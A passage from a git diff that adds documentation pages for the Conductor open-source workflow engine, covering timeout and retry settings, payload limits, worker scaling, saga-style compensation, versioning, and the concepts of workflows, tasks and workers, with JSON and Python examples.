`timeoutSeconds`. The response timeout detects unresponsive workers; the overall timeout enforces the SLA. + +### Recommended configurations + +| Task pattern | `responseTimeoutSeconds` | `timeoutSeconds` | `timeoutPolicy` | `retryCount` | +| :--- | :--- | :--- | :--- | :--- | +| API call (< 5s expected) | 10 | 30 | `RETRY` | 3 | +| ML inference | 120 | 300 | `RETRY` | 1 | +| Human approval | 0 (disabled) | 86400 | `ALERT_ONLY` | 0 | +| Batch processing | 600 | 3600 | `TIME_OUT_WF` | 0 | +| Quick data transform | 5 | 15 | `RETRY` | 3 | + +### Timeout policies + +| Policy | Behavior | Use when | +| :--- | :--- | :--- | +| `RETRY` | Retries the task up to `retryCount` times. | Transient failures are expected (network calls, external APIs). | +| `TIME_OUT_WF` | Fails the entire workflow immediately. | The task is critical and retrying won't help (e.g., expired batch window). | +| `ALERT_ONLY` | Marks the task as timed out but keeps the workflow running. | Human-in-the-loop tasks or tasks with external completion signals. | + +!!! warning + Setting `responseTimeoutSeconds` to 0 disables the response timeout. Only do this for tasks that are completed externally (e.g., [WAIT](../documentation/configuration/workflowdef/systemtasks/wait-task.md) or [Human](../documentation/configuration/workflowdef/systemtasks/human-task.md) tasks). + +See [Task Definitions](../documentation/configuration/taskdef.md) for the full parameter reference. + + +## Payload management + +Conductor stores task inputs and outputs in its database. Large payloads degrade performance and increase storage costs. + +### Size guidelines + +| Payload | Recommended limit | Hard limit (configurable) | +| :--- | :--- | :--- | +| Task input | < 64 KB | 1 MB | +| Task output | < 64 KB | 1 MB | +| Workflow input | < 64 KB | 1 MB | + +### External payload storage + +For payloads exceeding 64 KB, use external payload storage. Conductor supports S3 out of the box: + +```json +{ + "conductor.external-payload-storage.type": "s3", + "conductor.external-payload-storage.s3.bucket-name": "my-conductor-payloads", + "conductor.external-payload-storage.s3.region": "us-east-1", + "conductor.external-payload-storage.s3.signed-url-expiration-seconds": 300 +} +``` + +### Do's and don'ts + +| Do | Don't | +| :--- | :--- | +| Return only data that downstream tasks need. | Dump entire API responses into task output. | +| Store large files in S3/GCS and pass the URI. | Pass file contents as base64 in payloads. | +| Use `inputTemplate` to set default values on the task definition. | Duplicate static config in every workflow definition. | +| Keep payload keys flat and descriptive. | Nest payloads 5 levels deep with ambiguous keys. | + + +## Workflow design + +### Small, focused tasks over monolithic workers + +Break work into small tasks that each do one thing. This gives you: + +- **Granular retries** — only the failed step retries, not the entire pipeline. +- **Reusability** — small tasks compose into different workflows. +- **Visibility** — each step is independently observable in the Conductor UI. + +### Sub-workflows vs inline tasks + +| Approach | When to use | +| :--- | :--- | +| [Sub-workflow](../documentation/configuration/workflowdef/operators/sub-workflow-task.md) | Reusable logic shared across multiple parent workflows. Independently versioned and testable. | +| Inline tasks in a single workflow | Logic specific to one workflow. Fewer indirections to debug. | + +Use sub-workflows when a group of tasks represents a **bounded business capability** (e.g., "process payment", "send notification bundle"). Don't create sub-workflows for a single task — the overhead isn't worth it. + +### DYNAMIC_FORK vs sequential loops + +| Pattern | When to use | +| :--- | :--- | +| [DYNAMIC_FORK](../documentation/configuration/workflowdef/operators/dynamic-fork-task.md) | Process N items in parallel. Use when items are independent and parallelism improves throughput. | +| [DO_WHILE](../documentation/configuration/workflowdef/operators/do-while-task.md) | Process items sequentially when ordering matters or a shared resource requires serialization. | + +!!! tip + Keep DYNAMIC_FORK fan-out under 500 concurrent tasks per workflow. Beyond that, consider batching items into chunks and forking over the chunks. + + +## Worker scaling + +Workers are stateless and scale horizontally. Tune these parameters to match your workload. + +### Polling interval + +The polling interval controls how frequently workers check for new tasks. Shorter intervals reduce latency; longer intervals reduce server load. + +| Workload | Recommended polling interval | +| :--- | :--- | +| Low-latency (< 1s SLA) | 100-250 ms | +| Standard processing | 500 ms - 1s | +| Background / batch | 5-10s | + +### Thread pool sizing + +Each worker instance runs a configurable number of polling threads. Start with: + +``` +threads = (target_throughput * avg_task_duration_seconds) / num_worker_instances +``` + +For example, 100 tasks/sec with 2s average execution across 5 instances: `(100 * 2) / 5 = 40 threads` per instance. + +### Rate limiting and concurrency + +Use task definition settings to protect downstream services: + +```json +{ + "name": "call_external_api", + "rateLimitPerFrequency": 50, + "rateLimitFrequencyInSeconds": 1, + "concurrentExecLimit": 20 +} +``` + +This limits the task to 50 executions per second globally, with at most 20 running concurrently. + +### Domain isolation + +Use [task domains](../documentation/api/taskdomains.md) to route tasks to specific worker pools. Common use cases: + +- **Environment isolation** — dev workers only pick up dev tasks. +- **Priority lanes** — premium customers routed to dedicated capacity. +- **Regional affinity** — route tasks to workers closest to the data. + +See [Scaling Workers](how-tos/Workers/scaling-workers.md) for more detail. + + +## Error handling patterns + +### Retries vs terminal failure + +By default, a failed task is retried according to `retryCount` and `retryLogic` (`FIXED`, `EXPONENTIAL_BACKOFF`, or `LINEAR_BACKOFF`). For errors that should **not** be retried, set the task status to `FAILED_WITH_TERMINAL_ERROR`: + +```python +from conductor.client.http.models import TaskResult, TaskResultStatus + +@worker_task(task_definition_name="validate_order") +def validate_order(order_id: str, items: list) -> TaskResult: + if not items: + result = TaskResult() + result.status = TaskResultStatus.FAILED_WITH_TERMINAL_ERROR + result.reason_for_incompletion = "Order has no items — not retryable" + return result + + # ... validation logic + return {"valid": True} +``` + +| Error type | Strategy | +| :--- | :--- | +| Transient (network timeout, 503) | Let Conductor retry with backoff. | +| Client error (400, validation failure) | Return `FAILED_WITH_TERMINAL_ERROR`. | +| Partial failure in batch | Return partial results as output; use workflow logic to handle remainder. | + +### Compensation and saga patterns + +For workflows that span multiple services, design compensation tasks to undo completed steps when a later step fails. + +**Forward compensation** — Fix the problem and continue. Use a [SWITCH](../documentation/configuration/workflowdef/operators/switch-task.md) after the failed task to route to a recovery path. + +**Backward compensation** — Undo completed work in reverse order. Model this as a separate workflow triggered by the [failure workflow](how-tos/Workflows/handling-errors.md) mechanism: + +1. The main workflow fails at step 3. +2. Conductor invokes the configured `failureWorkflow`. +3. The failure workflow runs compensating tasks: undo step 2, then undo step 1. + +!!! tip + Store compensation metadata (transaction IDs, resource handles) in each task's output so the failure workflow has everything it needs to roll back. + + +## Versioning and deployments + +Conductor supports [workflow versioning](how-tos/Workflows/versioning-workflows.md) natively. Use this for safe deployments. + +### Blue-green with versions + +1. Deploy workflow version N+1 with your changes. +2. Start new executions on version N+1. +3. Let existing version N executions drain to completion. +4. Once all version N executions are complete, deprecate or remove it. + +### Migrating running executions + +Running workflows continue on the version they were started with. You cannot migrate a running execution to a new version. Plan for this: + +- **Short-lived workflows** — Wait for drain. Most complete within minutes. +- **Long-running workflows** — If a critical fix is needed, terminate and restart on the new version. Use the [Terminate](../documentation/configuration/workflowdef/operators/terminate-task.md) API with a reason, then re-trigger. + +### Safe rollback + +If version N+1 has issues: + +1. Stop starting new executions on N+1 (route traffic back to N). +2. Let N+1 executions fail or terminate them. +3. Resume on version N, which was never modified. + +Because workers are decoupled from workflow definitions, you can roll back the workflow version independently of worker deployments. + + +## Monitoring + +Track these metrics to maintain healthy Conductor operations: + +| Metric | What it tells you | Alert threshold | +| :--- | :--- | :--- | +| Task queue depth | Backlog of unprocessed tasks. | Growing consistently over 5 minutes. | +| Task poll count (per task type) | Whether workers are actively polling. | Drops to zero. | +| Workflow failure rate | Percentage of workflows ending in FAILED state. | > 5% over a 15-minute window. | +| Task response time (p99) | How close workers are to the response timeout. | > 80% of `responseTimeoutSeconds`. | +| Worker thread utilization | Whether workers are saturated. | > 90% sustained for 10 minutes. | +| External payload storage errors | S3/GCS write failures blocking tasks. | Any non-zero count. | + +See [Monitoring and Scaling Workers](how-tos/Workers/scaling-workers.md) for built-in monitoring tools. diff --git a/docs/devguide/concepts/conductor.md b/docs/devguide/concepts/conductor.md new file mode 100644 index 0000000..5a6acc4 --- /dev/null +++ b/docs/devguide/concepts/conductor.md @@ -0,0 +1,117 @@ +--- +description: "Why use Conductor? An open source workflow engine for workflow orchestration, microservice orchestration, and AI agent orchestration. Durable execution, polyglot workers, LLM orchestration, workflow automation, and self-hosted deployment — a developer-first alternative to Temporal, Step Functions, and Airflow." +--- + +# Why Conductor + +Conductor is an open source workflow engine built for workflow orchestration at scale. It orchestrates distributed workflows across services, languages, and infrastructure — tracking every state transition, retrying failures automatically, and giving you full visibility into what happened and why. Whether you need microservice orchestration, AI agent orchestration, or workflow automation, Conductor provides a self-hosted, code-first platform with no vendor lock-in. + +## The problem + +Distributed systems fail. Services crash, networks drop, deployments roll mid-flight. Without a workflow orchestration platform, you end up writing retry logic, state tracking, timeout handling, and compensation flows into every service. That logic is scattered, inconsistent, and invisible. + +**Choreography** (peer-to-peer events) makes this worse at scale: + +- Business processes are implicit — embedded across dozens of services with no single view of the flow. +- Tight coupling through assumed message contracts makes changes risky. +- "How far along is order #12345?" requires querying every service in the chain. +- Debugging a failure means correlating logs across services, queues, and time. + +**Orchestration** centralizes the flow definition while keeping execution distributed. Conductor is the orchestrator — your workers stay stateless and independent. + +## What Conductor gives you + +### Durable execution +Conductor is a durable execution engine — every workflow execution is persisted. If a task fails, Conductor retries it with configurable backoff including exponential backoff. If a worker crashes, the task is rescheduled. If the server restarts, execution resumes exactly where it left off. Your code doesn't need to handle retry logic — Conductor provides it out of the box. This same durable execution guarantee powers durable agents that survive infrastructure failures. + +### Language-agnostic workers +Write workers in Python, Java, Go, JavaScript, C#, or Clojure. Each task in a workflow can use a different language — pick the best tool for each job. Workers communicate with Conductor via REST or gRPC and can run anywhere: containers, VMs, serverless, or your laptop. + +### Built-in system tasks +HTTP calls, inline JavaScript execution, JSON transforms, event publishing, wait timers, and human approval gates — all available without writing a single worker. See [System Tasks](../../documentation/configuration/workflowdef/systemtasks/index.md). + +### Flow control operators +Fork/join for parallelism, switch for conditional branching, do-while for loops, sub-workflows for composition, and dynamic tasks resolved at runtime. See [Operators](../../documentation/configuration/workflowdef/operators/index.md). + +### AI agent orchestration and LLM orchestration +Conductor provides LLM orchestration and AI agent orchestration as native system tasks — no external frameworks required. Supported providers include Anthropic (Claude), OpenAI (GPT), Azure OpenAI, Google Gemini, AWS Bedrock, Mistral, Cohere, HuggingFace, Ollama, Perplexity, Grok, and StabilityAI — 14+ providers available out of the box for chat completion, text completion, and embedding generation. + +MCP (Model Context Protocol) integration is built in: use `LIST_MCP_TOOLS` to discover available tools and `CALL_MCP_TOOL` to invoke them — enabling function calling and tool use within workflows with full retry and state tracking. + +For RAG pipelines, Conductor supports three vector databases natively — Pinecone, pgvector, and MongoDB Atlas — so you can index embeddings, run similarity search, and feed results to an LLM in a single workflow definition. + +Content generation tasks cover image, audio, video, and PDF creation using AI models. Every AI task runs with the same durability guarantees as any other Conductor task: automatic retries, timeout handling, and a complete audit trail. + +### Event-driven workflows +Publish to and consume from Kafka, NATS, AMQP (RabbitMQ), and SQS. Trigger workflows from external events or emit events from within workflows. See [Event Bus Orchestration](../how-tos/event-bus.md). + +### Full operational control +Pause, resume, restart, retry, and terminate any workflow execution. Search and filter executions by status, time, correlation ID, or custom tags. Every task has a complete audit trail — inputs, outputs, timestamps, retry history, and worker identity. + +### Horizontal scaling +Conductor scales horizontally to millions of concurrent workflow executions. Workers scale independently — add more instances and Conductor distributes tasks automatically. Rate limits and concurrency caps prevent overload. This workflow engine scalability makes Conductor suitable for production deployments at any scale. + +## When to use Conductor + +| Use case | Example | +| :--- | :--- | +| **Microservice orchestration** | Order processing: payment → inventory → shipping → notification | +| **Workflow automation** | Automate business processes with durable execution, retries, and full observability | +| **Durable agents** | Multi-step LLM chains with function calling, tool use, RAG, and human-in-the-loop — durable agents that survive crashes | +| **Long-running workflows** | Insurance claims, loan approvals, onboarding flows spanning days or weeks — async workflows that survive deploys | +| **Event-driven automation** | React to Kafka events, trigger workflows, publish results back | +| **Batch processing** | Fan-out work across thousands of parallel workers with dynamic fork | +| **Saga pattern** | Distributed transactions with compensation on failure | +| **RAG applications** | Build retrieval-augmented generation pipelines with vector search, embedding generation, and LLM completion as workflow tasks | +| **Content generation pipelines** | Generate images, audio, video, and PDFs using AI models orchestrated as durable workflows | + +## What sets Conductor apart + +No other open source workflow engine matches this combination: + +- **14+ native LLM providers as system tasks** — Anthropic, OpenAI, Azure OpenAI, Gemini, Bedrock, Mistral, Cohere, HuggingFace, Ollama, Perplexity, Grok, StabilityAI, and more. No wrappers, no plugins — first-class support. +- **MCP (Model Context Protocol) native integration** — discover and call tools directly from workflow definitions. +- **3 vector databases for built-in RAG** — Pinecone, pgvector, MongoDB Atlas. Embed, index, search, and generate in one workflow. +- **Content generation tasks** — image, audio, video, and PDF generation as system tasks. +- **6 message brokers** — Kafka, NATS, NATS Streaming, SQS, AMQP (RabbitMQ), and internal queuing. +- **5 persistence backends** — Redis, PostgreSQL, MySQL, Cassandra, and SQLite. +- **7+ language SDKs** — Java, Python, Go, JavaScript, C#, Clojure, Ruby, and Rust. +- **Battle-tested at scale** — proven in production at Netflix, Tesla, LinkedIn, and JP Morgan. +- **JSON-native and code-first workflow definitions** — define workflows as JSON or as code using SDKs. Workflow as code for developers who want type safety; JSON for runtime generation and LLM-driven workflows. +- **Self-hosted with no vendor lock-in** — deploy Conductor on your own infrastructure. Apache 2.0 licensed, fully open source. +- **Human-in-the-loop as a first-class task type** — pause execution for approvals, reviews, or manual intervention with built-in timeout and escalation. + +## How it works + +```mermaid +graph TD + subgraph Workers + A["Worker A
    (Python)"] + B["Worker B
    (Java)"] + C["Worker C
    (Go)"] + D["Worker D
    (C#)"] + end + + subgraph Server["Conductor Server"] + S["Scheduling · State · Retries
    Persistence · Queuing"] + end + + subgraph Storage["Persistence"] + DB["Redis / PostgreSQL / MySQL / Cassandra"] + end + + A -- "poll / complete" --> S + B -- "poll / complete" --> S + C -- "poll / complete" --> S + D -- "poll / complete" --> S + S --> DB +``` + +Workers poll for tasks, execute business logic, and report results. Conductor handles everything else — scheduling, retries, timeouts, state persistence, and flow control. See [Architecture](../architecture/index.md) for details. + +## Next steps + +- [Quickstart](../../quickstart/index.md) — run your first workflow in 2 minutes +- [Workflows](workflows.md) — how workflow definitions work +- [Tasks](tasks.md) — task types and configuration +- [Workers](workers.md) — building workers in any language diff --git a/docs/devguide/concepts/index.md b/docs/devguide/concepts/index.md new file mode 100644 index 0000000..a2a9455 --- /dev/null +++ b/docs/devguide/concepts/index.md @@ -0,0 +1,363 @@ +--- +description: "Core concepts of Conductor — an open source workflow orchestration engine for distributed workflows, microservice orchestration, AI agent orchestration, and workflow automation with code-first and JSON-native definitions and polyglot workers." +--- + +# Basic Concepts + +Conductor is an open source workflow orchestration engine that orchestrates distributed workflows. You define +workflows as code or as JSON, write workers in any language, and let Conductor handle state persistence, +retries, timeouts, and flow control. Every step is durably recorded, so processes survive crashes, +restarts, and network partitions without losing progress. + +Workflow definitions are JSON-native — you can version them in source control, diff changes across +releases, generate them programmatically, or let LLMs create and modify them at runtime. Workers +are polyglot: official SDKs exist for Java, Python, Go, JavaScript, C#, Clojure, Ruby, and Rust, +so teams can use the language that best fits each task. + +Built-in system tasks handle common operations like HTTP calls, event publishing, inline transforms, +and sub-workflow orchestration without writing custom code. AI capabilities extend the system task +library with native support for 14+ LLM providers, MCP tool calling, function calling, vector databases, and content +generation — enabling AI agent orchestration and LLM orchestration alongside traditional microservice orchestration and workflow automation. + +## What can Conductor do? + +

     + + + + + +## Core building blocks + +- **[Workflows](workflows.md)** — The blueprint of a process flow. A workflow is a JSON document + that describes a directed graph of tasks, their dependencies, input/output mappings, and failure + handling policies. +- **[Tasks](tasks.md)** — The basic building blocks of a Conductor workflow. Tasks can be system + tasks (executed by the engine) or worker tasks (executed by external workers polling for work). +- **[Workers](workers.md)** — The code that executes tasks in a Conductor workflow. Workers are + language-agnostic processes that poll the Conductor server, execute business logic, and report + results back. + +## Key differentiators + +These are the facts that matter when comparing workflow and orchestration engines: + +- **Durable execution** — every step is persisted, automatic retries with configurable policies, + and workflows survive crashes and restarts without losing state. +- **Full replayability** — restart any workflow from the beginning, rerun from a specific task, or + retry just the failed step. Works on completed, failed, or timed-out workflows — even months + after the original execution. +- **Deterministic execution** — JSON definitions separate orchestration from implementation. No + side effects, no hidden state — every run produces the same task graph given the same inputs. + Dynamic forks, dynamic tasks, and dynamic sub-workflows provide more runtime flexibility than + code-based engines, and LLMs can generate workflows directly without a compile/deploy cycle. +- **14+ native LLM providers** — Anthropic, OpenAI, Gemini, Bedrock, Mistral, Azure OpenAI, + and more, available as system tasks with no custom code required. +- **MCP (Model Context Protocol) native integration** — connect AI agents to external tools and + data sources using the open standard for model context. +- **3 vector databases** — Pinecone, pgvector, and MongoDB Atlas for built-in RAG pipelines + directly within workflow definitions. +- **7+ language SDKs** — Java, Python, Go, JavaScript, C#, Clojure, Ruby, and Rust, so every + team can write workers in the language they know best. +- **6 message brokers** — Kafka, NATS JetStream, SQS, AMQP, Azure Service Bus, and more for + event-driven workflow triggers and inter-service communication. +- **5 persistence backends** — PostgreSQL, MySQL, Redis, Cassandra, and SQLite, + letting you run Conductor on the infrastructure you already operate. +- **Battle-tested at Netflix scale** — originated at Netflix to orchestrate millions of workflows + per day across hundreds of microservices. + +## Deep dives + +- [Architecture](../architecture/index.md) — system design and components +- [Durable Execution](../../architecture/durable-execution.md) — failure semantics and state persistence +- [Agents & AI](../ai/index.md) — LLM orchestration patterns and agentic workflows diff --git a/docs/devguide/concepts/tasks.md b/docs/devguide/concepts/tasks.md new file mode 100644 index 0000000..156809f --- /dev/null +++ b/docs/devguide/concepts/tasks.md @@ -0,0 +1,145 @@ +--- +description: "Learn about tasks in Conductor — the reusable building blocks of workflows, including system tasks, worker tasks, operators, LLM tasks with 14+ AI providers, and MCP tool calling." +--- + +# Tasks + +A task is the basic building block of a Conductor workflow. They are reusable and modular, representing steps in your application like processing data files, calling an AI model, or executing some logic. + +In Conductor, tasks can be defined, configured, and then executed. Learn more about the distinct but related concepts, **task definition**, **task configuration**, and **task execution** below. + + +## Types of tasks + +Tasks are categorized into three types, enabling you to flexibly build workflows using pre-built tasks, custom logic, or a combination of both: + +### System tasks + +Conductor ships with 20+ [system tasks](../../documentation/configuration/workflowdef/systemtasks/index.md) — built-in, general-purpose tasks designed for common uses like calling an HTTP endpoint, publishing events, or running AI inference. + +System tasks are managed by Conductor and executed within its server's JVM, allowing you to get started without having to write custom workers. + +| Category | Tasks | +|---|---| +| **Core** | HTTP, Inline (script), Event, Wait, Human, Kafka Publish, JSON JQ Transform, No Op | +| **Flow Control** | Fork/Join, Dynamic Fork, Join, Switch, Do While, Sub Workflow, Start Workflow, Set Variable, Terminate, Dynamic | +| **AI / LLM** | Chat Completion, Text Completion, Embeddings, Vector Search, Content Generation, MCP Tool Calling | + +### Worker tasks + +Worker tasks (`SIMPLE`) can be used to implement custom logic outside the scope of Conductor's system tasks. Also known as Simple tasks, Worker tasks are implemented by your task workers that run in a separate environment from Conductor. + +A minimal worker task configuration and its corresponding Python worker: + +```json +{ + "name": "process_payment", + "taskReferenceName": "process_payment_ref", + "type": "SIMPLE", + "inputParameters": { + "orderId": "${workflow.input.orderId}", + "amount": "${workflow.input.amount}" + } +} +``` + +```python +@worker_task(task_definition_name="process_payment") +def process_payment(orderId: str, amount: float) -> dict: + result = payment_gateway.charge(orderId, amount) + return {"transactionId": result.id, "status": result.status} +``` + +### Operators +[Operators](../../documentation/configuration/workflowdef/operators/index.md) are built-in control flow primitives similar to programming language constructs like loops, switch cases, or fork/joins. Like system tasks, operators are also managed by Conductor. + + +## Task definition + +[Task definitions](../../documentation/configuration/taskdef.md) are used to define a task's default parameters, like inputs and output keys, timeouts, and retries. This provides reusability across workflows, as the registered task definition will be referenced when a task is configured in a workflow definition. + +```json +{ + "name": "process_payment", + "retryCount": 3, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 5, + "maxRetryDelaySeconds": 60, + "backoffJitterMs": 2000, + "totalTimeoutSeconds": 300, + "timeoutSeconds": 120, + "responseTimeoutSeconds": 60, + "pollTimeoutSeconds": 30 +} +``` + +- **retryCount / retryLogic / retryDelaySeconds** — How many times to retry a failed task, the backoff strategy, and the initial delay between retries. +- **maxRetryDelaySeconds** — Caps the computed backoff delay. Prevents exponential growth from becoming arbitrarily large. +- **backoffJitterMs** — Adds random milliseconds to each retry delay to spread concurrent retries over time (thundering herd prevention). +- **totalTimeoutSeconds** — Hard wall-clock budget across all retry attempts combined. Once exceeded, no further retries are attempted regardless of `retryCount`. +- **timeoutSeconds** — Maximum wall-clock time per individual attempt before the task is marked `TIMED_OUT`. +- **responseTimeoutSeconds** — Maximum time to wait for a worker to respond after picking up a task. Useful for detecting unresponsive workers. +- **pollTimeoutSeconds** — Maximum time a worker can hold a long-poll connection before the server releases it. + +When using Worker tasks (`SIMPLE`), its task definition must be registered to the Conductor server before it can execute in a workflow. Because system tasks are managed by Conductor, it is not necessary to add a task definition for system tasks unless you wish to customize its default parameters. + + +## Task configuration + +Stored in the `tasks` array of a [workflow definition](workflows.md#workflow-definition), task configurations make up the workflow-specific blueprint that describes: + +- The order and control flow of tasks. +- How data is passed from one task to another through task inputs and outputs. +- Other workflow-specific behavior, like optionality, caching, and schema enforcement. + +The specific configuration for each task differs depending on the task type. For system tasks and operators, the task configuration will contain important parameters that control the behavior of the task. For example, the task configuration of an HTTP task will specify an endpoint URL and its templatized payload that will be used when the task executes. + +Data is passed between tasks using `${...}` expression syntax. This allows a task to reference outputs from a previous task, workflow inputs, or other context variables: + +```json +{ + "name": "send_notification", + "taskReferenceName": "send_notification_ref", + "type": "SIMPLE", + "inputParameters": { + "recipient": "${workflow.input.email}", + "paymentId": "${process_payment_ref.output.transactionId}", + "status": "${process_payment_ref.output.status}" + } +} +``` + +For Worker tasks (`SIMPLE`), the configuration will simply contain its inputs/outputs and a reference to its task definition name, because the logic of its behavior will already be specified in the worker code of your application. + +There must be at least one task configured in each workflow definition. + +## Task execution + +A task execution object is created during runtime when an input is passed into a configured task. This object has a unique ID and represents the result of the task operation, including the task status, start time, and inputs/outputs. + + +## AI and LLM tasks + +Conductor includes first-class support for building AI-powered workflows through its AI/LLM [system tasks](../../documentation/configuration/workflowdef/systemtasks/index.md). + +### Supported LLM providers + +Conductor integrates with **14+ LLM providers** out of the box: + +Anthropic, OpenAI, Azure OpenAI, Google Gemini, AWS Bedrock, Mistral, Cohere, HuggingFace, Ollama, Perplexity, Grok, StabilityAI, and more. + +Each provider is configured once at the server level; workflows reference them by name, making it straightforward to swap models without changing workflow logic. + +### MCP tool calling + +The **LIST_MCP_TOOLS** and **CALL_MCP_TOOL** system tasks let your workflows discover and invoke tools exposed by any MCP-compatible server. This enables LLM agents to interact with external APIs, databases, and services through a standardized protocol. + +### Vector databases and RAG + +For retrieval-augmented generation (RAG), Conductor supports vector stores including **Pinecone**, **pgvector**, and **MongoDB Atlas**. The Embeddings and Vector Search system tasks handle the embedding generation and similarity search steps so that RAG pipelines can be expressed as standard workflows. + +### Content generation + +Beyond text, Conductor's AI tasks support generating images, audio, video, and PDFs — useful for workflows that produce rich media from LLM outputs. + +For end-to-end AI agent patterns that combine LLM reasoning with tool use, see the [agents documentation](../ai/index.md). diff --git a/docs/devguide/concepts/workers.md b/docs/devguide/concepts/workers.md new file mode 100644 index 0000000..f1ebafe --- /dev/null +++ b/docs/devguide/concepts/workers.md @@ -0,0 +1,51 @@ +--- +description: "Learn about workers in Conductor — the code that executes tasks in workflows, written in any language and hosted anywhere you choose." +--- + +# Workers +A worker is responsible for executing a task in a workflow. Each type of worker implements the core functionality of each task, handling the logic as defined in its code. + +System task workers are managed by Conductor within its JVM, while `SIMPLE` task workers are to be implemented by yourself. These workers can be implemented in any programming language of your choice (Python, Java, JavaScript, C#, Go, and Clojure) and hosted anywhere outside the Conductor environment. + +!!! Note + Conductor provides a set of worker frameworks in its SDKs. These frameworks come with comes with features like polling threads, metrics, and server communication, making it easy to create custom workers. + +These workers communicate with the Conductor server via REST/gRPC, allowing them to poll for tasks and update the task status. Learn more in [Architecture](../architecture/index.md). + + +## How workers work + +1. **Poll** — The worker polls the Conductor server for tasks of a specific type. +2. **Execute** — The worker receives a task, executes the business logic, and produces an output. +3. **Report** — The worker reports the task result (COMPLETED or FAILED) back to the server. + +Conductor handles scheduling, retries, and state persistence. Your worker just focuses on business logic. + + +## Worker configuration + +Workers are configured through the task definition on the Conductor server. Key settings: + +| Parameter | Description | +| :--- | :--- | +| `retryCount` | Number of times Conductor retries a failed task. | +| `retryDelaySeconds` | Delay between retries. | +| `responseTimeoutSeconds` | Max time for a worker to respond after polling. | +| `timeoutSeconds` | Overall SLA for task completion. | +| `pollTimeoutSeconds` | Max time for a worker to poll before timeout. | +| `rateLimitPerFrequency` | Max task executions per frequency window. | +| `concurrentExecLimit` | Max concurrent executions across all workers. | + +See [Task Definitions](../../documentation/configuration/taskdef.md) for the full reference. + + +## Scaling task workers + +Workers can be scaled independently of the Conductor server: + +- **Horizontal scaling** — Run multiple instances of the same worker. Conductor distributes tasks across all polling workers automatically. +- **Rate limiting** — Use `rateLimitPerFrequency` to control throughput per task type. +- **Concurrency limits** — Use `concurrentExecLimit` to cap parallel executions. +- **Domain isolation** — Use [task domains](../../documentation/api/taskdomains.md) to route tasks to specific worker groups. + +See [Scaling Workers](../how-tos/Workers/scaling-workers.md) for detailed guidance. diff --git a/docs/devguide/concepts/workflows.md b/docs/devguide/concepts/workflows.md new file mode 100644 index 0000000..5cbd285 --- /dev/null +++ b/docs/devguide/concepts/workflows.md @@ -0,0 +1,158 @@ +--- +description: "Understand workflows in Conductor — JSON workflow definition, dynamic workflows, distributed workflow execution, and long-running async workflows that power durable code execution across distributed services." +--- + +# Workflows + +A workflow is a sequence of tasks with a defined order and execution. Each workflow encapsulates a specific process, such as: + +- Classifying documents +- Ordering from a self-checkout service +- Upgrading cloud infrastructure +- Transcoding videos +- Approving expenses + +In Conductor, workflows can be defined and then executed. Learn more about the two distinct but related concepts, **workflow definition** and **workflow execution**, below. + + +## What makes Conductor workflows different + +Conductor workflows stand apart from traditional orchestration approaches in several key ways: + +- **Durable execution** — Workflows survive process failures, restarts, and infrastructure outages. Conductor persists state at every step, so a long-running workflow or async workflow picks up exactly where it left off — even after days or weeks. +- **JSON-native definitions** — Every workflow is a JSON workflow definition you can store in version control, diff across releases, and generate programmatically. No compiled DSL or proprietary format required. +- **Dynamic workflows** — Workflows can be created and modified at runtime as code-first or JSON definitions, enabling use cases where the task graph is not known ahead of time (for example, when the number of parallel branches depends on an API response). +- **Versioned** — Each workflow definition carries an explicit version number so you can roll out changes incrementally and run multiple versions side by side. +- **Language-agnostic** — Workers that execute tasks can be written in any language — Java, Python, Go, JavaScript, C#, or Clojure — and deployed anywhere. The workflow definition itself is decoupled from implementation. + + +## Workflow definition + +The workflow definition describes the flow and behavior of your business logic. Think of it as a blueprint specifying how it should execute at runtime until it reaches a terminal state. The workflow definition includes: + +- The workflow's input/output keys. +- A collection of [task configurations](tasks.md#task-configuration) that specify the task conditions, sequence, and data flow until the workflow is completed. +- The workflow's runtime behavior, such as the timeout policy and compensation flow. + + +### Example JSON workflow definition + +Below is a realistic three-task workflow that fetches data from an API, transforms it with an inline script, and then delegates the result to a worker task for further processing. + +```json +{ + "name": "process_order", + "description": "Fetch order details, enrich them, and hand off to fulfillment", + "version": 1, + "schemaVersion": 2, + "ownerEmail": "team-platform@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 3600, + "restartable": true, + "failureWorkflow": "handle_order_failure", + "inputParameters": ["orderId"], + "outputParameters": { + "enrichedOrder": "${enrich_order.output.result}", + "fulfillmentStatus": "${fulfill_order.output.status}" + }, + "tasks": [ + { + "name": "fetch_order", + "taskReferenceName": "fetch_order", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/orders/${workflow.input.orderId}", + "method": "GET", + "connectionTimeOut": 5000, + "readTimeOut": 5000 + } + } + }, + { + "name": "enrich_order", + "taskReferenceName": "enrich_order", + "type": "INLINE", + "inputParameters": { + "order": "${fetch_order.output.response.body}", + "evaluatorType": "graaljs", + "expression": "(function() { var o = $.order; o.region = o.country === 'US' ? 'domestic' : 'international'; return o; })()" + } + }, + { + "name": "fulfill_order", + "taskReferenceName": "fulfill_order", + "type": "SIMPLE", + "inputParameters": { + "enrichedOrder": "${enrich_order.output.result}" + } + } + ] +} +``` + + +### Workflow definition parameters + +| Parameter | Type | Description | +|---|---|---| +| **name** | `string` | A unique name identifying the workflow. Used when starting executions. | +| **version** | `integer` | The version of the workflow definition. Allows multiple versions to coexist. | +| **tasks** | `array[object]` | An ordered list of [task configurations](tasks.md#task-configuration) that define the workflow's execution graph. | +| **inputParameters** | `array[string]` | List of input keys the workflow expects when triggered. | +| **outputParameters** | `object` | Mapping of output keys to expressions that extract values from task outputs. | +| **failureWorkflow** | `string` | Name of a workflow to trigger when this workflow transitions to FAILED. Useful for compensation or alerting. | +| **timeoutPolicy** | `string` | Policy to apply when the workflow exceeds `timeoutSeconds`. Supported values: `TIME_OUT_WF` (fail the workflow) or `ALERT_ONLY` (mark timed out but keep running). | +| **timeoutSeconds** | `integer` | Maximum time (in seconds) the workflow is allowed to run before the timeout policy is applied. Set to `0` for no timeout. | +| **restartable** | `boolean` | Whether the workflow can be restarted after completion or failure. Defaults to `true`. | +| **ownerEmail** | `string` | Email address of the workflow owner. Used for notifications and audit tracking. | +| **schemaVersion** | `integer` | Schema version of the workflow definition format. Current version is `2`. | + + +## Workflow execution + +A workflow execution is the execution instance of a workflow definition. + +Whenever a workflow definition is invoked with a given input, a new workflow execution with a unique ID is created. The workflow is governed by a defined state (like RUNNING or COMPLETED), which makes it intuitive to track the workflow. + + +### Workflow execution states + +Each workflow execution transitions through a set of well-defined states: + +| State | Description | +|---|---| +| **RUNNING** | The workflow is actively executing tasks. | +| **COMPLETED** | All 